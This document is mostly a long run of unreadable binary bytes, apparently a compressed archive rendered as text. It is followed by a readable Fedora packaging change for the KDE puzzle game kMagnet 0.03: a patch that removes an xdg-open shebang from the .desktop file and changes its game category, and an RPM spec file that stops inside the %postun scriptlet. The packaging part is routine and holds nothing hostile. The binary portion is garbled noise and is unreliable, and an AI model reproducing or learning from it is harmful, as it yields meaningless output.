0Q??????'^???\h?a?d?????????qW?`??Y
?d?XB?0?,	???*Eh&?Fb
?h????1LfhC?}?YA???D	??[?x?F=?&??_D???rM?92????9?????o?\???""@>?????M???& '?B??%8I$(
Rn?Q$?J?|\|??kO??Yj???_???x7Rex74?YG?~??Gu?:~"?cN
C?4?TR??)???$Q???????H*T??A?????[?Y?R2jP!???8?*?????
??s?"??K?k(?.?(`?????????u???TX???M?gv?J?96?/????'hc9??5d	Fr?V???w??B+d???>???,?kVX??????T??[sb*??s
RF??rv	(?)??wQ??:??o??"
	??I???_???b?V????f?J  ?!???=?[??]\?
9?#JO=??U???C?
?????Ql???(
SD?"????,	+?v?1?D
5
B(????-??,?XdB????	pV????S*?????s-Z?[?1a?f??????k
?	C`4???k:???`?aM9U???????H??????zH?%?0????OP??v????b??8|<v+?B?D ?C]?c???Q?????
?_f??
?F?L!?X/>???3?BV?#?D?"19W??>?1????P?A?D Y{?
?P??uW4???????U??

???i-?R??P?sNp???l`??????ju??P??K????~??ER'??" ?I@?3???]????????`=?+Iem{?=r2???=P&M2u5?`?AQ???fb???3?XA-!??Ccm??c?K	Tp??PW)??I?v???R8JRQ?????l16j??i??7??HN@?qN6?N?????rHn
??g????
??R3???g4??\?????V????????#?4??x
???8??Bw??;?BD?,X7????<?Ap8????(??C/+?v??5?co?h<?cX?{?s|??>Mr??)'?q?TZ??5???Lk??(?????c??.??$???f?(l???????U????O?{??>~_??
{????
>?
?fHHJ?"\????4?~=i*???,????$?h??tUY+???T

#?p????7zO??~R`r?'?????t????s+??a??j?$E??l?????H?,C?)@?^?????6M?;3?????
?@+?p?UT???3??B
T??E?K????D??&wL?(????%????!TWx5??^?v?!??q?w=Zx??????x??`u2tI*6:?^?D
?ez!????Pbm7
?1%??%?H?& A%J?S?n?Y3z???
??)??-??h(?,?B0?P????T???????r???AA?|c??.?E?????>?
??4??v?L@?x???????A???I?@???)?UH??????s???z??\?0?????C at 2FA",?0???{]>?r??'?1?cZ2.?A????0
"???zJv???j??an?#??[??^??&?)?$3KE??&?-	Im4$U^??E?`?(@|V*@*d?
uBN??OKL&$?Y:Hy:?|??I?@@??a????5?*?ic,?8?? D?&A"p?????+?c*8????j?*?q?b? u??@?H?	???"?O??;u'?8'?}? pIQ????????D??1?????UK?]????.TP?q??j?o?d?01??@?%ae?H???k????j?@???l??:??V?T6???$?!?H??H?$?@ a??Q-!	@?>?????:|9
\Y???????K??a?e??A?H???????an
??*?I;"?????B.h?3?????N7#;???z?ny??S:?????????????^???k??X???[???2Hmc at .?7??7???gK??Vk?n?~?a?wS???I ???{?=_??{?c??????X??b??a
P?<?Hd?d???vI0>?O????a*???146?&??r
?.????????z?S?~??o???W?>(;
GJ?????<??????N???!??iI?????$?\??y?@???Q??4??,?9q?R?????
e2??a??(?}?
???x?hi+???T????9?l
f=g??+
?Jm??m
????
7???	aO_~??<?????$???9'd- at -??.????@H e??$?|V?;?#Y@?99???????; ?H?
?m8t??[\??CH?}Dl?????OM?TT%????4?%?G?0
?~v?.?Nh??"?}Z?$
bx?H?/???.??]s?m??aR?
?k????q?0?~|??r=e??3+??to	??I*??Ve??
?.???????.?`?~?i)y???I at 1={@1F6	!?%)??~??? 2K$??q???????\i?+???(?H?l?o7X.??K	?????)e?q:????$?l?T$MA?O??(??
%?4i??\RO????I[)???v?9~???????????Us???a???????????]B??!
?1???*??S??V??*w??	.?ypQ??H??k?K??
?_??p??[??????nD???????"K%??/??
	?8????_A???{?6??U?r=??i@??????s????}Y_J????3?p???1??_?IoL

B???Z??[N??)??=?o!??????{???A??2??!z??H???M??T!jB?d??"??I???0`?p?;?k?`M??? ?u?x<0??w???p??Id?jHKE??(?Y`???? ????????hE?x?????-?A???<????3R?W?5JRX?
?????CZ(?`??p??9??f?????k?4?F???L??b?7?2??]?????6 Sva!??jv??5$??????k?h???????]??d???S%?m68b?|S????????hO???d~
??h
4?????p????V+??H??V????*f???m?\*e??O:?????\?>A@??g8?N???????n???B??W3??~??]Kuf?,	2 ??(?>F(?pcu?^s??Zk??????M?????z?=?^??#??!??	?L?2?9????N?f!v<?C0p
?0??k????E]A0H???P&?t???r???z?DP?F&??)SI???l??$?????"UhBYa??KP-?r?047??D?~??^o???k???ODG???5x?Jih'e?a?|t)?
?Y???-X_??????????O??p??

???ch
??$?s?%!`?ciy+?^D??|?
???(
??O?q?E5X<???]?O?]n?????????U???@s???A?2n??~?oJ?????tid?,??x?"??

??#?_???~????A????2???!"x8 ?t?G???????8e9im??#????x???_??}??????Xs??@??[?M?@?W????h????_'???Zt?????z8?????????DD<?9??>???@????^j`?7????
??r???B-??k
??N?1??????H??o?/PC??_?(?2!zs??=?W??ZZ?P???z?R?,X?=f?#?/?/Z?FpW??????z?~?'?????????#??+_`?CH	$6#???@B????>??r??5??
r??Q?+)??+?????Q?????3???&?5????u~?Ac?q??=jo???????^????SX?g-?P??D???-?g?b??RS?_?n??nc"/????"?5b(r?????W?ag?s??_?4?q?Sd??W}?u?J9R????6:?*?????"?F<??kg????,(??E?Q,,?|??\?l?????^????0?,U 1?O?lQ?p?V???Nd?Nt???t??&?uL?5<L???????)???>??S?#???r?=?e]^pj?????-?O??d?I?????Q?8??\8??????	cj??X9????|J$??N??lK?lc?+?fTW?~
+?????P?v?c?vR?X?'#???/??1ch??6?X??79%?? ?7????T??jgx
???q ?if.?? ???N$??h??Ylw??*Z&???+hdI ??2)h??*r?)?????9???????G?j???@4?

?2
?Oqc??c:\??3?+???f?a8?:?EV????v???1`@,?Q??d?HWF???E????3w?`~7?
i5dCl?`?}#??%?Y8hh:n&N?????9?J>?+?~11B\wY???CM?9???n?t???R???,?
?
?G+?,?E??z??????q??g?O?w?yU
@???G?X????KR?=??????
Z?o????7	m{[K??.???VF??c?35?w#?]?gX????????OO??????p? 
3???B($????Xr"I??i?Z?@?4n9?T/??{??*1??>S??m?;????????g?OL0??s??????`
???'Z????l<???c3o???9Aw:m8
H????1???????><???5???d??????J????d???W??????ZN?9?"a???c?_?????;?#??&?)K;??5)J???Z?4/?Y;/Vz??o?V???$X???????Lg"?x ?U?v[?bu?GC????!?j?[???X?,%?~?Ra?H??N????
?2w?c,???T?It??v?3????.?t???Ie?n}a?s	??N9?????N?)B?R}???a?,KBv5??6f???P:????z?????a?C?P???*
?????rP??F"????????p?f?eU&<??????Vb?
H???.?&6W????E<??v???P??98@?K?Rc???????#???z+??????}0?z?????h?z???A???t?z????je?Z??K<0???=??????mu??K?
0??????????????????????????{?c?s????6v	??/?F???	
??>?4??????]&N??????*?e?????naC?5???&g3?DW?b?al.'0%??<??????.?g?
y#??x?'x0F??4T??99?C??z??v?i?}
/??-??O???1/????+M?J??w?'?O3?????t;
!????q???mU???3???????s?"N??*
??Zo^\???O???3??k?
U?
|?/l/uq???~
/*l?ncODj	9s???????????mn!I?~??M5,???F?+k]?u?????I???2'_a*k??6??V??R?z??h?,???Y2?)??,??f??7]?????Lg
????R?+;?g?C??+?:b(???8?H??UhTj????{???~m??>?m?8?????S??H?;X#???C?2o?+??]N?D???s???V$???U????8???;?"{?C????????q???abc9??`k?s?=H?B??w???????*??????"??B`(@7.%A??1?m????Q+?:?q?????????+s?.???6=E??a4RP:?~e
?#?????????lc?,????????O2???6?T?}??????9???V???`?5???????8???X???q+?I?????B??&?S????????
=?R?R??????R?6?@??|?1 at M?H?p????M??Lg|>d???;?9??????it??)#????????p`k(@??????v?;??
?W?8?S?2?>??JH
?PO?2Bw???????aE ??????*?n?%*09?8?Q?D?LP??Y??`
P?j(`i????

}?=4?Cek??E?M?t;!;?S???s??????S?^?4?X??sobC?1?>/??????|*^-???%?Mr.d????2
?iD?La??]~*??????P??L!T??h??????q-M??????O?F7Z=?`???Zn$??	??$,9}t~??]????bFp?q??$?]?a:i_??Q??g?C?Y??5c?L?"??Y{?y??\?T,?A?1K????}y2x
it?s?????Rj?De??]??E??01?o??Ob?}??`!???I	??O?a???2ZY?$?g??v??k:?S?=??yK.?5P???o?Uc???r?}D/5?*e?:???@???na?kK?2g?-?tO?=!??QU?c5?
??f?????t???Nw?V??h?????`?g ???SIu?|?\QC??k????F%??W?????,?B1.?R???????{?????z??!?
????#??cz?]0+NF?n?R?<?????Ql????MTI?q?2X?^?[?C???z?y??i??4?????:~}???
??O??????1?I???Q2y?"???N0?6?e0?b?Fz???H?Q???}?;?.?\l)??a??N?t?S????oI;?)>5??Z??~8
??*{???????E?~??7?x? Vu*?????7b???????&????O??3???]iKS0z?????P{W???W?/???s?k8?{b??w&?a?????N[????NY?????x?6Ij????d??
??L#?F	?[?R???8?%#8r`8??L?G????j,~#:?????3????*???0???2~??????\???Z2s??Q?v?x???v?d;??<???K$???????a?An????#???#?[	?g???t?y?l4Yz??);S??????4?8z?+!z?az[U&z???Y_???????9???	?T??~:??k???C0?pQ?????@??(???L?V?u???c????????{!??t?9Jx??[?(?z7?~b????	?k?I?l?xO?!???`n?j????t?,??=??s~????????T?I>x_%v???3}??;??????3?"7??i?????N???=[?C
B3b?'?T????_?NCeB???/???J^
6?YFr?U?%?
?P?W'?????
8??5???QrWh
????j??B????q?5J?????t??]jn?Nk'BL????w??v??{??k?h??\???&c??5{`[??7??Sf?CI&*???d
M?4z??,??r??O?w8?@&
???D?h???S???;??{??5??S/|?Gzw?9???s?f?	???k??
>}|?;??wQ??????L?jd9u???Mt}??y7??y;?$? ?F???cJ?????a????
H?`????[n\.??}????????sB?e?/???&???O??oK??g?m;?8I ???f??0??{??????CS???).w???Xg
?????c??????),?P|,R/Sa??K
???i??????%????????E<??|????
'+?SA???h?|?SD?????QC?k???p?ua:?0?q ????#???2?????h6???_?????????d??&?w?!k^???*?e?N
Dx{?f>?%??nK?I9|?K??8o?]??????L??\Ii??/?? ?P????*????q?HZ?(qr?9By?
+?Y?-
??????(????uv
?p?????)?h?<V?w?QOoJy???????.?&w
??H?7??q2?a
Ar{c?U?
E?4???Hl???????W4K?<c?h?sjf???bn 
Lah]????h?XB?
????[??????t?.H?x?",?\0L?fn?-???n????7?P?
???D{h8_?]3
?d???5
4D?"?mK?&%g^??
X0?M]???iWhV????????Z ?>??]?o???(k'WK?v???fgF-tVqe??????z???z?qB??????9A?1w?`?='????`/?/??	?1M??????J????e????~?~
?:~H-\?-???10Y/?L??x?E?I?K?a?J????w?M?94H?[????????~f????i??????N~???&?7???/f5z????I??#S?6g??Pl/!oMt2??Q?g?????X??P?Y?Gr ? 9??U?h'??? ?}I??+??!?
%?1"s????w??? ?z?5?[??3V????-?88Y?d?????6?:?&P?L??UV	??t?e?49??3kIy?2M?.?X?+?(?p??1????V?Pf?+????J?X?l??1?y?
??W+?))x????????q???'??^??{???	???#Z!?P?mC??8K??7???&??EP?w???]????%???5???	???)???????(WX?&?	???]? z?x?b??n?7???4?s??????
?4??XQ?j??????g?5x\?/??O|??lb???_??!?{#???IT?V3????n3li?>Q????#7?????R?5?g??????????	TU???9??&.V?D1?e??@?????????D,?????+??(???:o???l79k?hq?YH2???X\^??+:??P$?>?PK??I???o%q?d?5?|K<?H?dQ?Jp`??4??????v??x??p??&?c??s%
V????wE??{Q?0???"???
_pzqQ$Q<??,??K1?xg??C??^?|@??y?#?an?~i?G??O?
o?O??'?? !!?z??M??w?el=D	/?????&?y__3???6????~\???????????????&???:9???=?J?,??o?yT??????T???e
VS? exEj?d??5W#?u??????	D?D?????b|nj?????????j2???%|??k?v???????I?"????zh?[E????64?lB?`v`????$y?Y???'?????y?_?+Tm?y????v!?u??O??p??EF??	???:?&???Zw0??x;m????X?n?:XtN?????????E???*??????9?)?a????~??S4+????????????$?~O???
U<p3	????j2c?o?\??
??z????]S1bR?!E?&?T%
qs??@??@?M???:????	??M?j??/?^b???d???6?m??s??8f??%??]?????5??n??o???(????2?H,?%f?????)z??\???^???z6??ue"??E?RE0?
?a?ts?Db?R??
?{u??i????h???!??`i?????\???a9??~?9??M???ENB?~?????~nz?,????{?X???
???T??Y?X?????y?LP(C
?N?X|rE?Pf??C???<Pd?*#???&#?u4B?c????????2D???*?yK|??.????LN??i9p??t????wU????0/?R?E?
??d)?Z-????G?rT????(?%?f??h>??.?|.???g?B??????_?????R!3G???
?'??B3.f?+????.????*???i???????1*???rA???????-??0??	?8???_???}?????n????'?`?????7(??'-??????,????\?
?)v??????eU+w-????'??	?	?=?8??????A???{?PS<l%y?W?y??s#{????(Tvu?E?43O?U?t??r?S??????????.{????J???#'?q?sWn|?
d??????v?/??????MEp7??u1?????[?)?}F?8??u??;Y?_?V?)?3d?^?J?m?/??X?{?E?<?????x
?O?cT,??A??
N????????B?????$[?
1??H=?CAK
??>?M???
?rD/y?k??0???;??;9S|3xX6Gf????ov?9?y??Q_?8??a?v?u?U??
??) ?????|??Gf????Y?l,Z?\???6????~??~&??y]?0???z????????ix?p>
B??B?J????g\?QE?%%?#|??_????Q[?dC??zNc?P?$1???a^??Z?<F?H???~%(?+??(2?????'?gb?`
?C??`??v?k:???P????1??2?O?)?5??3h?'???????7?M??????pa`pJ?Mg?V???)rew?????7??u?9?=?A]??
??E????+l*??9
???ii?Y???.RM6qD??_.?{?a ?C}?????'?_?3?["P7??r???[?????5???4??~?h{??b??S?
?(???=-{???{G?[7?+A??4?J?Z????4"?W?,H??????tH?QI?"????7???"?l?&?=?Ls?d??????m????F?[j2?E?]?|:???W??v`?<j?ak?I7???"???????????s???p?91?z%{?????6\?I
|?D?????A?H?????l????k?W8??-?PQ7???OH
??Uf?JYE??u^7:?RHM?v??p8>?I???WF?@?jY???&&?zq
1$?UL??Sl
?>^fc?D<0:??(^6RF???	?!?;?????Sbg[N?|N?k[?}???Mu??
???qc^????????-?`?<??????pC? %hOx?_'?????.??T<??z}???{???;@'???????d	G?????\??A?~??]??;?}V,<??z?m)aS?i??+,????i?A?H??eO??M???#?T-?Y?+?j?Dz??????rN?tg+???????2?V|^?2<??0NU??tp???XWk???4????????{]?-l[?%X?????jh????j??h???
??&:?P?f??#?
?i/8?QT???7RN?Y??Q_?????i
J??
???S?
V???:?T????o?j#E&M'?????RXO7?yz??:?u,?Pn??????9i???h??@?????????????w??????	?!???w??P'nis?2?W?{j?H??_???@P?r_?.?*zs??????????t???a???+0??N?y???I??v??p?K?9?
??M?????k???[!??0?e??????&1??????Q8E!??<R?????u?h??6?h?B0/?la??=F?0???6???1VX???????Z???????f??????F?????&D???????)??[?/+\?????'????Q?G??x????/:a???
i?????Wzt[P
???X?<?P??b?M??n??:??
+"???<(??I???Q<7?Q9???@??ga	t|=mx?????o?O??H/?4Xo????l??T??F?bsH?'?"7???A??,O????6P???'<??_;=??A5????o??7m?M???l?g?)+??p??e??o?T????-?eI???	??6??E:??b_??g#???
?R??????K9?{B?[?M?Zd?}?\?:??????'?a??n?? e???????$??E,1????c?\?'?<?Z"?{-^???aZ)?4

???S?t??4??
E???~?-??p-??'?t)#Kw?Wh?ae??%|???????
?????6z??,K'Op-?G=q?"=ld?J(?}/???6????5"HL????????x?Me?\?b?I??Kd?I?BZ?????o2?N???????q"?l?x??y????\
DOqv??????g??>".?;5???EaI%??.??A????g?%W v?l?a?bP?,??|,?v	??????O???]]???R??2????U)#??;(}?\??q?????@??4????`%?fY???????1"gr9???<)????^?c????
??@Q??L???{???
???? ?h?SK??Y-?@3`???a=??1??b???5?"%??_??e???*???)??z?????Pvj?>????h???vj??8M$?????Nq?`E-???????T????p8????\????6K?N.?i*????g?&y;?jG?????
f??y????????+?? K?:h>!?Y76?|h???h????*R?C?!?????????Yp?yj'??m???;?G2?????V&D'?$?FQjb?>?%?p?TR?\?e????!4???Y?I??;K??	?
?~???&?????????
ab???o?D???o?????
$E&?UR????X???H???P~??H%??|M?B?M???.?y?D??l?D?E?N??t??r??????#?G?1???7?#)??z?>?U??B'E??'[?p?X???'???	xH?@?`@?? ???????P)v????.I?#_
m??o???o????????DHy?Cr?	Z3h???u?k?;[B?&Y??~P?1??]G???.???
?ee?\????[`?I?E
?????;E?J?s????????y7?'g?V2?veS?^4?=??v?;???kn?02)??Y\RO??E??=????M{Eb-???i??v/`?)y???J???YF???`{??5???????	?\??/??????????qW,|???&??%,?????TN8L????{?*%????3?
{??#O?=E?Bh?~???t??f.v?k?????}K}?? P??;?>???}W7o
[?b?V??Of?????VL?_??-?=???4???_?V??_?`???XJ???#1??8z?d#?hI??q??}~^?w:p???T??;?????~S???M?O??(?e_mG?
U3TL???%??????%? &?h?/9!???8?p??p(K???e?3+
?i??e??R?RG??vB%n???|?}
?\
?T????Y|~????e?L{w?be????-????'H??DWSB;?zn???{R??xZes4?P?U
?0?B?/??2
?f-Oi????q0;T?&???|?x?
?^??cU????.???:t?=????M?L????|?1?
?
c?	
?{??)??*??S:A??y??m????TGY?^??5??"ma??q?w?p?4???i?]2??|????I??P?0#I??????z??Uu??
-?0?+ at 8???=????yY????*???Oe(?H?.???a4U??`?h??P'C:???5??\TC?G8????_Y?Y
????j?zl?
??/???
d@????p?????[;3?v??I?.]/???)?{cS*h~?_?AN;]???????s??f??w<?o?x??I2??e?co	?!{$?8????;T?,d?=J!?7?e??I??????<???>?s???=?{_??P???3????':?+?A&m??????|?'?h?!R?Fk??>/__?s/??????VC#W?n?~7??
?????AV[?f??S|????????q?C?#? ??M?,??Y??$?kO??v?,?q?W?
?????|???????????7DM???????\????=??97]??4?m???*Dd?h??JK???k;j??T?3M?>Z?pa??*?1?=?e\?:w?kOZ?k??????:?S?c???I}L?&?S??lGei{??B?oK?
??4??`V?|??m^??b
?b?e???o???1??Q??=????
??z
!??{ic}_?0QL?=?*z?1z?m?NAS?%?7]k?????Q?!??I?T?r??Y???
?J?D???_f;???<???T?m?`????u???m??I???bid7q
?D????????i^#??e!?&u
,?VR????;S30k?
u#?[????~??&?u??=???F??v????~??--?1#??7zegz???1??)?>*c??????U/JM???~
R?{??(V???P_???8g??Q??~w???w5)3???^2?5^f??????????8?}_l=?R?d????v??YO?rv?c?2>??K??a?w[?K???EY?2?+JM???75??\W??;??????JfNCP
??6?J??Dy=X???o?P??LXV??d?b????Wv?-?$??W??415????4???????9*[??Z?E??4?7=!??????D?Nr:?^????\k?DqNlO?5y4$?h????][??$?
??Z???*???<a?S;?wwTS???.???gn?N???Y+?}*?v??r??????]?N1~?)????k_?_?5????r:/?s?#?O??
?o3?\?????txvfo??MS??#?V??Nu?????FJ????a?B??q?U??/F?<???.????+????g?[63???05!4???i??y???i??r?u2???^dn?}???
?UY??i?B????????}E?7b]?e??}??n?WkQU?U???NuV??yr)?@?O??V?B#A???????Y??????
:??K?Rzn??:DQ?2??8n??D??K0?k
?_7Y?fi?????l?&?8?(????Y???Y:i+
??)?(???X??????h?????\?b?H?	< ???/???v???
.Nd???<Q?}^@?v??l?	?|z??/???CY&ok?[Y??UM?u??IV?#?5{)?????
?-?U?K?>????Z?e?: ?[????????????p?S]??uq?<?y?w6???MU??;~ib?
?L?>????y???3u?ZR?.??.?{'??M??R??,y??+ 
?)??ny??_j3X???rLH??l?(|??;W=?.??".?[Y?A?Qyp^:???[g?????;OZ26?+??????\????i?sb?ZTy?L.??kj&D??Pz
p??t???G???A#I???????????????9~?^d??%?S))~DdN/??y?M?3??M?g????????:?N_???k?5[}??"x'??.???.?=??????*????????w$??tF??????Q?Dz???n??????m?!?DI7?:??%?lEZ?r4[<M?f??R???I"?%??NC?6?{????%Q?]/????],?E???"?7??$2F?3?!??i4??[????@?;????<?????????????z^}??~??J?k>T??L?:Y?N???`???B?L\*???Yo0h!???Q???((n????????CS?J??/rf????$?[~????
??dtKo/?o?S??rOH?y????.??
[?+????????X?????$?>??m}??Uxt??1??G%;4{???????????????7?Nb^o???N??=mz?/??[:{{N???????i?o???Z?????"?N??y???"-??n???8
C-O?????B?X??R?n?L?[???|EiC??t+???Iq????-?k2?y????????????????
>?~\??Y~??????$3(S??^p?haVI????m?;W ????>?'1??O?W]?D?????`?L???mas??a????7?l?Y?
JPu??n???c??V?????:???G?X??)??L?q?
?;????052Sj????M???*?????o?W<2[o?/j???KcN???k???}?<~?>??????????l??8?A]???u??K7???H??,9??F????He?I??0??*??g?B??%??????=??????Y:?????Q????!??D??5???b??????????/???????? ??F<'V?????B??>??N/??YE?] ?S???RSd?????h???Ho?5?<iv?ju???q???Y??~?>??z?2????X?P]???e{Z{?FL???sx=????Xl?O?Bv??????"d?W?]R??????K???Z?????5+???3??e???~Y?/?zL???AL????????I????|~?\~??V??Q??B???Y??v?3gn&???T?
?????xnc?x??iP?Ch?u5?X/)'6??Ft????"#??^???m??	)??R????????*q;h
???????????t???$????M??????J&5?????%???y1?????5S?PZgr????N??o=????.L?/?+=?!??t????U??[?F~N???\T?????????\??????~?u??rN~?c????h?GYJy3?o3??|?k?ad?????F??s;$??
??Qg+d????=?$???????????V.4?e??Z0??U?c[????]??%???Y?
)?,??U???8gZ
?????J?????V???W?06^?#3R_??TkC2?M????F?j?p? o??????	?y??^Sd????? ?F??t"?~?KA???j?@???Q???\	???01;???e?c?!??d?8_<?]???\???0?h????pJ~*?n??O??
???F???(?N??Rm./i??W???@??$???????????p#1,?
?:??`>?en?UiE??
?\?y$??;?:?}Y}L????ZzG?@F/f?V??$o?~?_?S?Gd{?\?-`??i?.*???}?mE?<???H+%?]????????[??s????????@?|?.e?~5G????=??)?7*??n?n?O??6
?`????3w??{^v??????????:b'?B=_?????R?)o] ^;????k?l??z??IW??????s?L:o????????
?G??cI_??>?[?%\I]??32???)??`????V+0MbT?_*????Dh??D~&j?z????%?\6????t??n????????b?~?.D??-7bv?YD?????~?S?B?x?M???;y?	?????????C7??I????Q??k??u|z?=|
?[??i??N??8????w?F?6=???E?3?U4QV??5Oy??vQAS?????5?L5(?>=??>?w??|??zmf&?'d???"?h
?@??R????m?g$?=[?
q?t??d???lOt???:????O????0??G?"j?{?X??WO????MA<=#q??u??C??FZ?+7K?uxfXo[^?ymp?x??@S%???S???Y??4#??2f3?e'-<]?Q?u??ud?????$V?m'w?k??7??v???Yl??Ur?3k?????m?v'"O?:?D?M?LCR??>?V?_????3?Y??$v??v?Z!??^(Xo?R????????kE?Z$?????v?R"=||???S?????p?6????L?g|d{?$???
?R?m/????X?w$ K?7?G?-????p???'#????D?????U)p>lUPL??????????z?C???p?|?=??Im??$?:???z7?????l?(wY?a??=g?????r??M?-r??y??{???B??|?????
?S4)?W????
a?d9^D?????*_?3??bL??X,?h-h(???4?4??"??O???????q?o_??K?? 2??QT?Kr?a?2?|!??D)1??????GG?%q1????{?U?T}???nu?,/?*?mL?w?T?9?,???????vMSR????$????)X???(?????I???|?x?WO*??z?
!?}jB??:??L?I?W?B6??:????
t?	z???-???????'???ee?L?9E?2Y]?u?? &?.?-Y??????1???1=????T??o????X5?8??9?f?.D=?d?Db??jb??h?t?=Y????:R??LdUMu8?3???:????y???9?K
4l#? ?\?????P?G?v L?84????9,MD?B?k?T????z?]\?g?F??
y??&`B??C???????V??E???{'?@??Nw?z at G??(do?n??y??V?R?;!????!4?)?^????Q?????%??????????{?P???????-T?j:???r
??lg??:z
?6??j6??V at GJN??b?#????"_??S??Ckh%?v??l?O??E?????Y+?{?X??Fg?????p??Q
d???
??n?H???\??????????:?????}??????@??O??CT?7?-x?&g?Z??T?\:??Y??Iy????>?$?e??????C?M???-???????ON?PO??
???V?????9OQ'Y.k?Q?RL]?(?????8 +?+???5??M<????????F?k????
}?b(?P?????3Y?????B?????{n??c?????????*??i? Z???w??f????2@q[D2??-E??-'N????E??/cg]/{
/?????%??k??yC$9?'?-S?VUw\?m?/???E??*e????.???(3????????}`
'[rw?*???z^?j??N?M|??a?zE]?T??d???4?<*=[??L???bL+8c??????{???3d???
??V??????n"6?.=????????/(?^?LHO+I?????;?_z??????(????\+e?=??	?|V
5y?-??V?>+??D? ?b?A"s???"?m)M#Y?????#????$?4??X?HM.?}~???JW??ZzD? S?????!???"4???b=?????????????????&/?PD"??FfU?lNU??{B?ef??6?h??B???f????1?'?Fo?t??a????%w??RHfD?u|akD3K??C??{P???<q????/q?
??????z??
??W? ???i??@????/??S1?q???dv???@?hfR?P
]???Z]{?????r????\}????"l?#I????E??2K??N?
Y%?fq1??m???y=t?-Q???????????Yn? ??????nk??	Q
?4rg??h?iK?C????L??rC?????c?fN??
?8?'i?:;?|Ql<???e?:?R?:????????????L2?<?m.w??>gJO??`???
???f????;+?%_??-??w?$,S?'?|e?hO?u??7)XWD???[B4?7[>-???^&?[Q"?d?V??????u',?Nl?$??-??????2?C#$????E?6?5?9?N^^w?bP@#75?	w?>?![T+??fCJ??})??.?7G?Z	C?O?w??jYb?T?x?N???")????V}w?Q?????BusLL??l??b???
??r?
???S???????Y?z<.E?7?U\?J?\????????/???k?a1?M?,X(????3?~Rh???g?"h??(f???5??J??OG?\g??l?Y?1'????7?VU?t?X?????*??KzZ]$?7a?????:?????^N2xI??cz???:???Z?
V`??*q%Ta?h?G9???z3??/????<?????*r??p@}=?^??Mn
q=????M?0n??y`????X?zU
??g/??I???I\p???-?w?E?P???w<?

H????9??N??m??A v?rE?????e??q?????????)9T??p???i??Q?'?T?c??????#??_3UB?O\?Xm?2?g2y??l#???`mqe??^?6?jW?9v?	?t???????,????
?	???a????B??)??
r#T????Bk#U?U?s?g?3R?8?^a????y6???.??s?D??3?
PaK??G?U?.??G?????P???~r?#?????/V??????n??g?"?E?l??%qA?]S??M?M7?i9?K??F?????)????o0?(??Jk~?L?<?:w?{J??JOOwLC,4d???b??????E???]? ????????????YH????t??u?o5}{c?(k
qX>?,:l/a6??z?+WG=?7???_5?F+#??x?????R'?M?4o??w?S???*?x???IV??g?]F??eBB?8??Y.?-????,y?M
?=?[{WB?????Q?%K??\????SX?W??pc????
??;????V??r??k???3G???????"?1VKKtDI1??g&V?I??3????"?H????"?ut???^????D????o???wF?D[<K??p???????z?`????w?*?????V??ym?]3???????X????????B:?at"CZo?????c??zV>???xR???S??;m???8:?*??y??8,???P??3?'(??????DYn?'???&??????-R0?.????faiO???mb?@???%"???)?ICL8!?y?6?#????a3aEl?F???&?2?D??J??0X???x??n<?O?Km~???/Y ???'?4n??b????? ????jU?I???=???QrL?s???D??@??E^3?Eu'?(!??J\b?k?)??f??I"R4?uW?:?0??s2??6??????M????1F?
_?kH)????bxK?kx:?????S?????S/VYO?b??????V	=???M
??g?????Uy????m?-?*?????5????w??:S5??
??I\?<Wy????7?$?#??'uS?? M??8?h??????mhRzk???hP??????X??.P+L?????~???j???1????C????8???e?:?8u???????l???u?G-4_????$??????
?B???*F?
????L?l?r???a??Io?&W
??
??\#?Y.1I:lp?4n?^?????\?NQ"K??\
??X?Ix????_??????,?????Q)??Ua?"??KT????<????I???????????????~??a??b????7g$?
??ap?3?
C!x??%?????'?????nX?7?????0????7?=??B????Wa??e??"`QI at TJNRRNT\?
???????4?
J2?A?
G???v#?0n????
?7?b?`????????
88?????X$qQ
?U~&
?)???U??5??????x	?4:h?'	
??jQ?/?(????'N{,??~aA?p,?F??:?;?????????Q?!px_??	?z??Qp?e??w ???F?~??0??4?h7?_lQF???H8
?>????QQ????..
?????,???S??5V?5?-l?p???

s?????????+??`????@?????x???@W	?????_\>6x$??s??w-?W?????&0/??
?q??(>?/ypW7?#?$?t?A?;?"???
 ?
?f?`?wB???3?.p!?M0??G?O?????b?p??
???
????????????"?c?"XKH
?????? <?
???(4???T???X?#??BH.?aBq??????????!?
?S
???7a????Q??~h????????w?a??>f ?6??????R{?oc?X
????????A?!??`???????p4P61??34T!(8a?T?????j
`?E?O?2?q?:?	?
??$?s???o???
???;??6??8d?fxU?HMA???\'L??BG0??R???Z???OOp?*8?q???%n?(?????A0p(???~1??L???
y
??>?-?????Lh
kmagnet-desktop-category.patch:
 kmagnet.desktop |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kmagnet-desktop-category.patch ---
diff -Nur kmagnet-0.03/src/kmagnet.desktop kmagnet-0.03-fedora/src/kmagnet.desktop
--- kmagnet-0.03/src/kmagnet.desktop	2009-10-15 16:55:13.000000000 -0700
+++ kmagnet-0.03-fedora/src/kmagnet.desktop	2009-10-16 20:08:06.541577949 -0700
@@ -1,4 +1,3 @@
-#!/usr/bin/env xdg-open
 [Desktop Entry]
 Name=kMagnet
 Name[x-test]=xxkMagnetxx
@@ -9,5 +8,5 @@
 GenericName=Simple puzzle game
 GenericName[ca]=Trencaclosques senzill
 Terminal=0
-Categories=Qt;KDE;Game;PuzzleGame;
+Categories=Qt;KDE;Game;LogicGame;
 


--- NEW FILE kmagnet.spec ---
Name:           kmagnet
Version:        0.03
Release:        5%{?dist}
Summary:        A simple puzzle game with a built-in puzzle editor

Group:          Amusements/Games
License:        GPLv3+
URL:            http://kde-apps.org/content/show.php/kmagnet?content=109111
Source0:        http://www.kde-apps.org/CONTENT/content-files/109111-%{name}-%{version}.tar.bz2
Patch0:         kmagnet-desktop-category.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  kdegames-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
Kmagnet is a simple puzzle game with a built-in puzzle editor. Basically you 
can move the ball up down left or right and it stops when it finds an 
obstacle or arrives to a hole. To win the ball has to arrive to a hole.


%prep
%setup -q
%patch0 -p1


%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} -C %{_target_platform}

desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/%{name}.desktop


%clean
rm -rf %{buildroot}


%post 
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
        touch --no-create %{_kde4_iconsdir}/hicolor &>/dev/null
